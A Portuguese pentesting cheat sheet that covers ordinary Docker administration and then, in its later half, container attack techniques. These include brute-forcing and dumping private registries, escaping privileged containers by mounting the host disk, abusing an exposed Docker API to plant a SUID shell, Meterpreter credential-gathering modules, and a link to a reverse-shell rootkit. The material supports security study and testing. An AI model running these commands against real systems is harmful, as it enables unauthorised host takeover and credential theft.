Docker

Recursos de um Virtualizador

Cgroups

Cada container possui sua própria Cgroups (Control Groups ou Grupo de Controle). O Cgroups é responsável por controlar CPU, memória, rede e leitura/escrita de rede de cada container

Diretório onde ficam os recursos do Cgroups

/sys/fs/cgroup

Dentro de cada diretório (que representa um recurso), tem os subrecursos

Criando um Cgroups

cgcreate -g memory:<nome>

Listando todos os Cgroups

lscgroup
lscgroup | grep i docker

Definindo um valor pelo Cgroups. Os comandos são "repetidos", porque existe um bug, então deve-se executar os 3 comandos

cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste
cgset -r memory.limit_in_bytes=160M grupo_de_teste
cgset -r memory.memsw.limit_in_bytes=160M grupo_de_teste

Verificando o valor

cgget -r memory.limit_in_bytes grupo_de_teste

Deletando um Cgroups

cgdelete -g memory:grupo_de_teste

Namespace

Listando os Namespace

lsns

Rede

Criando rede Namespace

ip link add ens172 type dummy
ip netns add rede_teste
ip link set ens172 netns rede_teste

Listando redes Namespace

ip netns list

Executando comando em uma rede do Namespace

ip netns exec rede_teste ifconfig ens172 up

Acessando bash dentro do namespace de rede

ip netns exec rede_teste bash

Instalação e Configuração do Docker

Instalando

https://docs.docker.com/install/linux/docker-ce/ubuntu/

Adicionando o usuário no grupo:

sudo groupadd docker
sudo usermod -aG docker $USER

OBS.: Depois que instalado, faça logout no sistema

Informações Básicas

Versão do Docker

docker version

Informações detalhadas do Docker

docker info

Executando Hello World

docker run hello-world

Imagens

Imagens no mundo Docker, são como templates que servirão de base para executar um container.

Procurando por uma Imagem

docker search <image>

Baixando um Imagem

docker pull <image>

Listando Todas as Images

docker images

Removendo Todas as Images

docker rmi $(docker images -a -q)

Remove todas as imagens que não estão "tagiadas" (possuem TAG).

Utilize docker images para ver as imagens que estão "tagiadas"

docker system prune

Containers

O Container é uma instância de uma Imagem em execução naquele momento, que pode ter status como start e stop, e pode ser destruída e gerada rapidamente a qualquer momento.

Verificando Somente os Containers que estão em execução

docker ps

Verificando Todos os Containers

Diferentemente do comando acima, este exibe também os Containers que estão em Stop.

docker ps -a

Listando Somente o ID dos Containers em Execução

docker ps -q

Listando o ID de dos Todos os Containers

docker ps -q

Executando um Container a Partir de um Imagem

O parâmetro --rm irá excluir o container (caso já exista).

docker run -d --rm --name <new_name_container> <image> -v <local_directory>:<container_directory>

DICA.: Pode-se utilizar --mount no lugar de -v, pois ambos tem o mesmo efeito. Porém o --mount tem uma saída mais detalhada (verbose) e para utilizar services, somente --mount é suportado

Criando um Container e Interagindo com o /bin/bash

docker run -it ubuntu

As vezes pode ser necessário chamar o nome da imagem, seguido da sua versão (TAG). Execute docker images para ver a versão. Um exemplo do comando anterior utilizando a versão, seria como no exemplo abaixo:

docker run -it ubuntu:18.04

Criando um Container e Executando um Comando

docker run ubuntu ls -lha

Inicializa um Container a partir de uma Imagem sem deixar o Terminal preso

Por padrão, o Docker irá deixar seu terminal preso, por isso deve utilizar a opção -d (detached), para oculte a sua saída e deixe o terminal livre para utilizar em outro propósitos.

docker run -d <image>

Acessando Portas (aleatórias) de um Container externamente

Isso serve para utilizar a porta do Container como se fosse localmente.

docker run -d -P <image>

Definindo Portas do Container Externamente

Diferente da opção -P, este permite escolher qual porta iremos acessar via localhost.

docker run -d -p <port_localhost>:<port_container> <image>

Verificando Portas de Determinado Container

docker port <container_id>

Definindo o Diretório onde irá executar determinado Comando

docker run -w "/var" ubuntu ls -lha

Definindo Variáveis de Ambiente

Note que pode repetir o parâmetro -e quantas vezes for necessário.

docker run -d -e MYVAR="valor" -e MYVAR2="valor2" <image>

Startando um Container

docker start <id_container>

Startando um Container que já foi finalizado, porém deixando o Terminal em Modo Interativo

docker start -a -i <container_id>

Parando Container de Forma Mais Rápida

Por padrão o docker demora 10 segundos para parar um serviço

docker stop -t 0 <container_id>

Parando Todos os Containers

docker stop -t 0 $(docker ps -q)

Executa determinado Comando em um Container que já está sendo Executado

# i = Interativo
# -t = Terminal
docker exec -it <container> <command>

Parando (Stop) um Container e Removendo ao Mesmo Tempo

docker rm -f <container_id>

Volume

Criando um Volume

docker volume create <name_volume>

Deletando um Volume

docker volume rm <name_volume>

Listando Todos os Volumes

docker volume ls

Inspecionando Volume

docker volume inspect <name_volume>

Verificando Montagens (volume) de um Container

docker inspect -f {{.Mounts}} <id_container>

Network

Ao criar uma rede própria (Network), podemos fazer com que um container se comunique com outros containers através do hostname

Criando uma Network

docker network create --driver bridge <nome_da_rede>

Listando as Networks

docker network ls

Criando um Container em uma Network

docker run -it --name <name_container> --network <nome-rede> ubuntu

Inspeciona Determinada Network

Útil para ver quais containers estão conectadas na rede

docker network inspect <name_network>

Removendo uma Network

docker network rm <netwok_id>

Dockerfile

Buildando

Caso o seu arquivo chame exatamente Dockerfile, não é preciso passar o parâmetro -f. Se atente também no ponto que está no final do comando

docker build -f <file> -t <image> .

Docker Compose

Executando o docker-compose.yml

Utilize a opçao -d para jogar o processo em background e não ficar com o terminal preso. Utilize o parâmetro -f para especificar o arquivo de configuração ou deixa em branco para ficar como default, onde o irá ser procurado um arquivo chamado docker-compose.yml no diretório atual.

docker-compose up
docker-compose up -d
docker-compose -f <file.yml> up -d

Listando os Serviços do docker-compose

docker-compose ps

Parando (Stop) e Removendo Todos os Containers do docker-compose

docker-compose down

Reiniciando os Containers do docker-compose

docker-compose -f <file.yml> restart

Verificando se Está em um Docker

Assim que conseguir uma Reverse Shell ou termos qualquer tipo de acesso/interação, é importando analisarmos se estamos lidando com um Docker. Podemos fazer isso das seguintes maneiras:

  • Veja se existe o arquivo /.dockerenv

  • Verifique o hostname, que geralmente tem código (Container ID) no nome

  • Execute ps -eaf e verifique os processos. Geralmente Docker tem uma quantidade reduzida de processos

  • Veja se no início do phpinfo.php o nome da máquina é algo como "Linux 23d24ff620b3 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64"

Gerenciando Containers sem o Docker Client

CTR

Ferramenta substituda do docker, que também permite realizar diversas operações com containers

Listando todos as imagens

ctr image ls

Listando todos os containers

ctr container ls

Iniciando um container. Note que o nome da imagem está no padrão da saída do primeiro comando do ctr, então o alpine:latest, seria o equivalente a docker.io/library/alpine:latest.

ctr run --rm --mount type=bind,src=/,dst=/,options=rbind:rw <image> <nome> sh -c "bash"

RUNC

Primeiro vamos criar nosso arquivo config.json no diretório atual, através do comando:

runc spec

Edite o arquivo config.json, e no nó root, mude o valor de readonly para false. E logo abaixo no nó mounts, crie uma chave nova em mounts[0], com o seguinte valor:

"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw"]

Crie o diretório rootfs

mkdir rootfs

Agora execute o runc

runc run mysther

Docker Socket

Caso a porta 2375 esteja aberta, é possível acessar o docker do host. Não existe mecanismo de segurança eficaz para isso (não é possível colocar senha), então o melhor é deixá-lo em um servidor privado, pois caso esteja exposto, qualquer pessoa poderá acessá-lo.

export DOCKER_HOST=tcp://<ip>:2375
docker ps

Docker Registry

Um Docker Registry é utilizado para armazenar e compartilhar imagens docker. Geralmente o Docker Registry público possui uma segurança boa, como por exemplo Docker Hub, porém o Registry Privado não, pois depende da própria segurança da empresa.

Geralmente no NMAP, iremos encontrar uma saída do tipo

5000/tcp open  http    Docker Registry (API: 2.0)

Verificando todas os repositórios

curl http://<ip>:5000/v2/_catalog

O comando acima só é possível quando o Registry está desprotegido por senha. Caso precise de senha, utilize o HTTP HEAD para ver o tipo de autenticação e depois realize um ataque de Brute Force. Para o exemplo abaixo, a saída no HEAD deve ser www-authenticate: Basic realm="Registry Realm"

hydra -l <user> -P <wordlist> <ip> -s 5000 https-get /v2/

Para verificar se as credenciais estão corretas, utilize o comando abaixo:

curl -sku '<user>:<pass>' https://<ip>:5000/v2/_catalog | jq

Pegando as tags dos repositórios

curl http://<ip>:5000/v2/<name>/tags/list

Recupera o manifest identificado pelo nome e referência, onde a referência pode ser uma tag ou digest. Também é possível realizar uma solicitação via HEAD para receber detalhes do Header Response

curl -s http://<ip>:5000/v2/<name>/manifests/<tag> | jq

Com a saída do comando acima, vá em fsLayers e selecione um dos (ou todos) valores de blobSum, de cima para baixo (geralmente com o padrão sha256:<hash>). Feito isso, execute o comando abaixo para baixar os arquivos do container. Geralmente vamos ter 3 ou mais Blobs, sendo o primeiro (de baixo pra cima), a Base que são os arquivos do SO, o segundo que contém os Metadatas e o(s) último(s) que será o Diferencial, ou seja, os arquivos que foram modificados.

curl -so <output.tar> http://<ip>:5000/v2/<name>/blobs/<sha254:hash>
tar -xvf <output.tar>

Automatizando o Download de Arquivos

for x in $(curl -s http://<ip>:5000/v2/<name>/manifests/latest | jq | grep -i sha256 | cut -d '"' -f 4) ; do curl -so $(echo $x | cut -d":" -f2).tar "http://<ip>:5000/v2/<name>/blobs/$x" ; tar -xvf $(echo $x | cut -d":" -f2).tar ;  done

Iniciando um Registro Local

docker container start registry

Escapando do Container Docker

Capsh

Mostra todos os Capabilities que o Container está executando. Se tiver muitas Capabilities, provavelmente está com um Container Privilegiado, o que é um vetor de ataque. Verifique se a Capability cap_sys_admin está ativa, e se positivo, podemos sair do Docker e acessar o host hospedeiro.

capsh --print

Execute então os comandos abaixo e verifique:

  • df -h = Exibe o overlay apontando para o /

  • fdisk -l = Exibe o /dev/sda1

Caso positivo, poedmos acessar os arquivos da máquina hospedeira, então execute:

mount /dev/sda1 /mnt
cd /mnt
ls

Após entrar no /mnt, execute os comandos abaixo para acessar comandos no SO hospedeiro (dependendo do cenário, pode ou não funcionar).

chroot .

Caso não funcione a execução de comandos no SO, não se preocupe, pois você ainda tem acesso aos arquivos do sistema. Então basta inserir um novo usuário com privilégios root no host hospedeiro e depois acessá-lo de alguma forma, como por exemplo, via SSH

API Docker

Bypass para montar Container com Volume. Primeiro pegue a versão da API (por exemplo 1.41)

docker version | grep 'API version'

Agora crie um container com o volume criado

curl -s http://<ip>:2375/<api-version>/containers/create -H 'Content-type: Application/json' -d '{"Image": "<image>", "Binds": ["/:/mysther"], "Tty": true, "OpenStdin": true}' | jq

Inicie e acesse o container

docker start <container_id>
docker exec -it <container_id> bash

Entre no diretório e enjaule

cd /mysther/
chroot . 

Deixe o bash com SUID Bit ativo

cp /bin/bash /tmp
chmod u+s /tmp/bash

Saio do Docker e volte para a máquina principal (usuário comum do SO) e faça o PrivEsc

exit
exit
/tmp/bash -p

Meterpreter

Caso tenha comprometido um host e esteja com o Meterpreter, utilize os posts abaixo para verificar se o alvo usa docker e então pegar suas credenciais.

# Verificando se o alvo utiliza Docker
post/linux/gather/checkcontainer

# Pegando credenciais
post/multi/gather/docker_creds

Criando Container Privilegiado com Bypass

Privileged Bypass

Útil em casos onde temos acesso ao comando docker, porém não podemos criar containers priviligiados (--privileged).Utilize a maneira abaixo para realizar bypass

docker run -dit --security-opt "seccomp=unconfined" --name pwn ubuntu
docker exec -it --privileged pwn bash

Forense

Container Diff

Ferramenta desenvolvida pelo Google para analisar imagens Docker, tanto local quanto remoto.

Instalando

curl -sLO https://storage.googleapis.com/container-diff/latest/container-diff-linux-amd64
mkdir -p "/opt/bin" && export PATH="$PATH:/opt/bin"
install container-diff-linux-amd64 /opt/bin/container-diff
ln -s /opt/bin/container-diff /bin/container-diff

Salvando uma imagem em seu estado atual em arquivo tar

docker image save -o <file.tar> <image>

Verificando histórico de modificações de uma imagem

container-diff analyze -t history <file.tar>

Verificando pacotes adicionados

container-diff analyze -t apt <file.tar>
container-diff analyze -t aptlayer <file.tar>

Docker Diff

Vendo alterações realizadas depois que o container foi montado. Verifique se arquivos sensíveis como /etc/shadow foi alterados, pois isso pode ser indício de um ataque. Na saída podemos ver que as alinhas começam com C (Created), D (Deteled) e A (Altered)

docker diff <container-id>

Caso encontre arquivos suspeitos e queira analisar melhor, utilize o comando abaixo para baixá-los. Como exemplo, iremos utilizar o /etc/shadow

docker cp <container-id-suspeito>:/etc/shadow shadow_suspeito

Crie um novo container com o arquivo original

docker run -d --name <image-original> <image>

Copie o arquivo original para a máquina local

docker cp <container-id-original>:/etc/shadow shadow_original

Agora verifique a diferença entre esses arquivos (o que foi modificado e o original)

diff shadow_suspeito shadow_original

CRIU (Checkpoint and Restore In Userspace)

Ferramenta que permite criar pontos de restauração de Conatainers

Instalando

sudo apt install criu

Sites

# Reverse Shell em Conatiners
https://github.com/PinkP4nther/Pinkit

Last updated